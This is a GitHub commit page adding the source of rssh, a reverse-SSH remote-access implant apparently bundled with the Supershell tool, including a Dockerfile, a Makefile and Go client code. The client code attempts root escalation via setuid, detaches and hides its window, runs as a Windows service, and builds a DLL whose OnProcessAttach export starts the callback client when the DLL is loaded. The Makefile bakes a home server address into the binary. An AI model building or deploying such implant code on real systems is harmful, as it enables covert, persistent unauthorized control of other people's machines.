Skip to content

Commit ff5e7a1

Browse files
committed
update Supershell
1 parent a109af4 commit ff5e7a1

Some content is hidden

Large Commits have some content hidden by default. Use the searchbox below for content that may be hidden.

95 files changed

+9249
-1
lines changed

rssh

Lines changed: 0 additions & 1 deletion
This file was deleted.

rssh/.dockerignore

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
Dockerfile
2+
bin

rssh/.github/FUNDING.yml

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# These are supported funding model platforms
2+
3+
ko_fi: nhasmakesthings
Lines changed: 26 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,26 @@
1+
name: Docker Image CI
2+
3+
on:
4+
push:
5+
branches: [ "main" ]
6+
7+
jobs:
8+
9+
build:
10+
11+
runs-on: ubuntu-latest
12+
13+
steps:
14+
- uses: actions/checkout@v3
15+
with:
16+
fetch-depth: 0
17+
- name: docker login
18+
env:
19+
DOCKER_ACCESS_TOKEN: ${{secrets.DOCKER_ACCESS_TOKEN}}
20+
run: |
21+
docker login -u reversessh -p $DOCKER_ACCESS_TOKEN
22+
- name: Build the Docker image
23+
run: docker build . --file Dockerfile --tag reversessh/reverse_ssh:$(date +%s) --tag reversessh/reverse_ssh
24+
25+
- name: Docker Push
26+
run: docker push reversessh/reverse_ssh

rssh/.gitignore

Lines changed: 8 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,8 @@
1+
build.sh
2+
.DS_Store
3+
.vscode/*
4+
bin/*
5+
internal/client/keys/*
6+
cmd/server/id_ed25519
7+
cmd/server/__debug_bin.exe
8+
cmd/client/__debug_bin.exe

rssh/Dockerfile

Lines changed: 25 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,25 @@
1+
FROM golang:1.19-bullseye
2+
3+
WORKDIR /app
4+
5+
RUN sed -i s@/archive.ubuntu.com/@/mirrors.aliyun.com/@g /etc/apt/sources.list && \
6+
go env -w GOPROXY=https://mirrors.aliyun.com/goproxy/,direct && \
7+
apt -y --no-install-recommends update && \
8+
apt -y --no-install-recommends upgrade && \
9+
apt install -y --no-install-recommends upx-ucl gcc-mingw-w64 && \
10+
rm -rf /var/cache/apk/* && \
11+
go install mvdan.cc/garble@f9d9919
12+
13+
ENV PATH="${PATH}:$(go env GOPATH)/bin"
14+
15+
COPY go.mod go.sum ./
16+
17+
RUN go mod download -x
18+
19+
COPY . .
20+
21+
RUN make server
22+
23+
RUN chmod +x /app/docker-entrypoint.sh /app/wait-for-it.sh
24+
25+
ENTRYPOINT ["/app/docker-entrypoint.sh"]

rssh/Makefile

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
ifdef RSSH_HOMESERVER
2+
LDFLAGS += -X main.destination=$(RSSH_HOMESERVER)
3+
endif
4+
5+
ifdef RSSH_FINGERPRINT
6+
LDFLAGS += -X main.fingerprint=$(RSSH_FINGERPRINT)
7+
endif
8+
9+
ifdef IGNORE
10+
LDFLAGS += -X main.ignoreInput=$(IGNORE)
11+
endif
12+
13+
ifndef CGO_ENABLED
14+
export CGO_ENABLED=0
15+
endif
16+
17+
18+
LDFLAGS += -X 'github.com/NHAS/reverse_ssh/internal.Version=$(shell git describe --tags)'
19+
20+
LDFLAGS_RELEASE = $(LDFLAGS) -s -w
21+
22+
debug: .generate_keys
23+
go build -ldflags="$(LDFLAGS)" -o bin ./...
24+
GOOS=windows GOARCH=amd64 go build -ldflags="$(LDFLAGS)" -o bin ./cmd/client
25+
26+
release: .generate_keys
27+
go build -ldflags="$(LDFLAGS_RELEASE)" -o bin ./...
28+
GOOS=windows GOARCH=amd64 go build -ldflags="$(LDFLAGS_RELEASE)" -o bin ./cmd/client
29+
30+
client: .generate_keys
31+
go build -ldflags=" $(LDFLAGS_RELEASE)" -o bin ./cmd/client
32+
33+
client_dll: .generate_keys
34+
test -n "$(RSSH_HOMESERVER)" # Shared objects cannot take arguments, so must have a callback server baked in (define RSSH_HOMESERVER)
35+
CGO_ENABLED=1 go build -tags=cshared -buildmode=c-shared -ldflags="$(LDFLAGS_RELEASE)" -o bin/client.dll ./cmd/client
36+
37+
server:
38+
mkdir -p bin
39+
go build -ldflags="-s -w" -o bin ./cmd/server
40+
41+
.generate_keys:
42+
mkdir -p bin
43+
# Supress errors if user doesn't overwrite existing key
44+
ssh-keygen -t ed25519 -N '' -C '' -f internal/client/keys/private_key || true
45+
# Avoid duplicate entries
46+
touch bin/authorized_controllee_keys
47+
@grep -q "$$(cat internal/client/keys/private_key.pub)" bin/authorized_controllee_keys || cat internal/client/keys/private_key.pub >> bin/authorized_controllee_keys

rssh/cmd/client/detach.go

Lines changed: 57 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,57 @@
1+
//go:build !windows
2+
3+
package main
4+
5+
import (
6+
"log"
7+
"os"
8+
"os/exec"
9+
"os/signal"
10+
"syscall"
11+
12+
"github.com/NHAS/reverse_ssh/internal/client"
13+
)
14+
15+
func Run(destination, fingerprint, proxyaddress string) {
16+
//Try to elavate to root (in case we are a root:root setuid/gid binary)
17+
syscall.Setuid(0)
18+
syscall.Setgid(0)
19+
20+
//Create our own process group, and ignore any hang up signals
21+
syscall.Setsid()
22+
signal.Ignore(syscall.SIGHUP)
23+
24+
client.Run(destination, fingerprint, proxyaddress)
25+
}
26+
27+
func Fork(destination, fingerprint, proxyaddress string) error {
28+
log.Println("Forking")
29+
30+
err := fork("/proc/self/exe")
31+
if err != nil {
32+
log.Println("Forking from /proc/self/exe failed: ", err)
33+
34+
binary, err := os.Executable()
35+
if err == nil {
36+
err = fork(binary)
37+
}
38+
39+
log.Println("Forking from argv[0] failed: ", err)
40+
return err
41+
}
42+
return nil
43+
}
44+
45+
func fork(path string) error {
46+
47+
cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...)
48+
err := cmd.Start()
49+
if err != nil {
50+
return err
51+
}
52+
53+
if cmd.Process != nil {
54+
cmd.Process.Release()
55+
}
56+
return nil
57+
}

rssh/cmd/client/detach_windows.go

Lines changed: 126 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,126 @@
1+
//go:build windows
2+
3+
package main
4+
5+
import (
6+
"fmt"
7+
"log"
8+
"os"
9+
"os/exec"
10+
"syscall"
11+
"time"
12+
13+
"github.com/NHAS/reverse_ssh/internal/client"
14+
"golang.org/x/sys/windows/svc"
15+
"golang.org/x/sys/windows/svc/debug"
16+
"golang.org/x/sys/windows/svc/eventlog"
17+
)
18+
19+
var elog debug.Log
20+
21+
func Fork(destination, fingerprint, proxyaddress string) error {
22+
23+
inService, err := svc.IsWindowsService()
24+
if err != nil {
25+
elog.Error(1, fmt.Sprintf("failed to determine if we are running in service: %v", err))
26+
return fmt.Errorf("failed to determine if we are running in service: %v", err)
27+
}
28+
29+
if !inService {
30+
31+
log.Println("Forking")
32+
33+
modkernel32 := syscall.NewLazyDLL("kernel32.dll")
34+
procAttachConsole := modkernel32.NewProc("FreeConsole")
35+
syscall.Syscall(procAttachConsole.Addr(), 0, 0, 0, 0)
36+
37+
path, _ := os.Executable()
38+
39+
cmd := exec.Command(path, append([]string{"--foreground"}, os.Args[1:]...)...)
40+
cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true}
41+
err = cmd.Start()
42+
43+
if cmd.Process != nil {
44+
cmd.Process.Release()
45+
}
46+
return nil
47+
}
48+
49+
runService("rssh", destination, fingerprint, proxyaddress)
50+
51+
return nil
52+
}
53+
54+
type rsshService struct {
55+
Dest, Fingerprint, Proxy string
56+
}
57+
58+
func runService(name, destination, fingerprint, proxyaddress string) {
59+
var err error
60+
61+
elog, err := eventlog.Open(name)
62+
if err != nil {
63+
return
64+
}
65+
66+
defer elog.Close()
67+
68+
elog.Info(1, fmt.Sprintf("starting %s service", name))
69+
err = svc.Run(name, &rsshService{
70+
destination,
71+
fingerprint,
72+
proxyaddress,
73+
})
74+
if err != nil {
75+
elog.Error(1, fmt.Sprintf("%s service failed: %v", name, err))
76+
return
77+
}
78+
elog.Info(1, fmt.Sprintf("%s service stopped", name))
79+
}
80+
81+
func (m *rsshService) Execute(args []string, r <-chan svc.ChangeRequest, changes chan<- svc.Status) (ssec bool, errno uint32) {
82+
const cmdsAccepted = svc.AcceptStop | svc.AcceptShutdown
83+
changes <- svc.Status{State: svc.StartPending}
84+
85+
go client.Run(m.Dest, m.Fingerprint, m.Proxy)
86+
changes <- svc.Status{State: svc.Running, Accepts: cmdsAccepted}
87+
88+
Outer:
89+
for c := range r {
90+
switch c.Cmd {
91+
case svc.Interrogate:
92+
changes <- c.CurrentStatus
93+
// Testing deadlock from https://code.google.com/p/winsvc/issues/detail?id=4
94+
time.Sleep(100 * time.Millisecond)
95+
changes <- c.CurrentStatus
96+
case svc.Stop, svc.Shutdown:
97+
break Outer
98+
default:
99+
elog.Error(1, fmt.Sprintf("unexpected control request #%d", c))
100+
}
101+
}
102+
103+
changes <- svc.Status{State: svc.StopPending}
104+
changes <- svc.Status{State: svc.Stopped}
105+
106+
os.Exit(0)
107+
return
108+
}
109+
110+
func Run(destination, fingerprint, proxyaddress string) {
111+
112+
inService, err := svc.IsWindowsService()
113+
if err != nil {
114+
log.Printf("failed to determine if we are running in service: %v", err)
115+
client.Run(destination, fingerprint, proxyaddress)
116+
}
117+
118+
if !inService {
119+
120+
client.Run(destination, fingerprint, proxyaddress)
121+
return
122+
}
123+
124+
runService("rssh", destination, fingerprint, proxyaddress)
125+
126+
}

rssh/cmd/client/dllfuncs.go

Lines changed: 16 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,16 @@
1+
//go:build windows && cgo && cshared
2+
3+
package main
4+
5+
import "C"
6+
7+
//export VoidFunc
8+
func VoidFunc() {
9+
Run(destination, fingerprint, "")
10+
}
11+
12+
//export OnProcessAttach
13+
func OnProcessAttach() {
14+
15+
Run(destination, fingerprint, "")
16+
}

0 commit comments

Comments
 (0)